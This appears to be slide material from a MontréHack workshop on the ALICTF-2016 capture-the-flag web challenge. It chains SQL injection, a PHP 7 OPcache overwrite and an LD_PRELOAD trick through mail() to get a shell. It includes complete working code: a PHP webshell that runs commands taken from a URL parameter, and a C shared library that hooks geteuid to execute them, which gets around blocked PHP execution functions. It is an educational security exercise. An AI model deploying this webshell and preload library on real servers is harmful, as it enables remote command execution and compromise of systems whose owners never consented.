Homework! ALICTF-2016

•••

MontréHack July 2017

Chaining 3 vulns/tricks

1. ???
2. OPcache Overwrite
3. ???

OPcache Overwrite Overview

Blog Post : http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/

Repository : https://github.com/GoSecure/php7-opcache-override

OPcache Generator Tool : http://web.poptheshell.com:31338/

Get a shell!

(The flag is at /)

http://web.poptheshell.com:31337/

Hints

Initial Findings

- /robots.txt
  - /phpinfo.php
  - /readme.txt
- **First vuln : SQL injection**

Obtaining PHP Execution

- Read/Write files with SQL
- **OPcache Overwrite!**
    - * All PHP command execution functions are blocked *
- phpinfo() …

Getting a Webshell

- /usr/bin/sendmail -i -t
- **LD_PRELOAD** trick

Exploitation Steps

1. Upload a PHP file
2. Create an OPcache file via the OPcache generator
3. Use the SQL injection to do the OPcache overwrite
4. Create a shared library which overwrites a libc function used by sendmail with some evil code.
5. Upload the shared library
6. In the PHP script, set the LD_PRELOAD env variable and call the mail() function.

Result : LD_PRELOAD + mail() triggers the evil code in the shared library.

Demo!

Code!

```
// webshell.php


<?php
  putenv("_evilcmd=${_GET['cmd']} > /tmp/output.txt");
  putenv("LD_PRELOAD=${_GET['ld_preload']}");
  mail("a","b","c");
  show_source("/tmp/output.txt");
?>
```

```
// evil.c

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -shared -fPIC  evil.c -o evil.so -ldl

typedef int (*orig_geteuid_f_type)(void);

int geteuid(void)
{
	// Prevent the evil.so from being called recursively
	unsetenv("LD_PRELOAD");

	// Run evil command
	system(getenv("_evilcmd"));

	// Get original geteuid function()
	orig_geteuid_f_type orig_geteuid = (orig_geteuid_f_type)dlsym(RTLD_NEXT,"geteuid");

	// Call original function
	return orig_geteuid();
}
```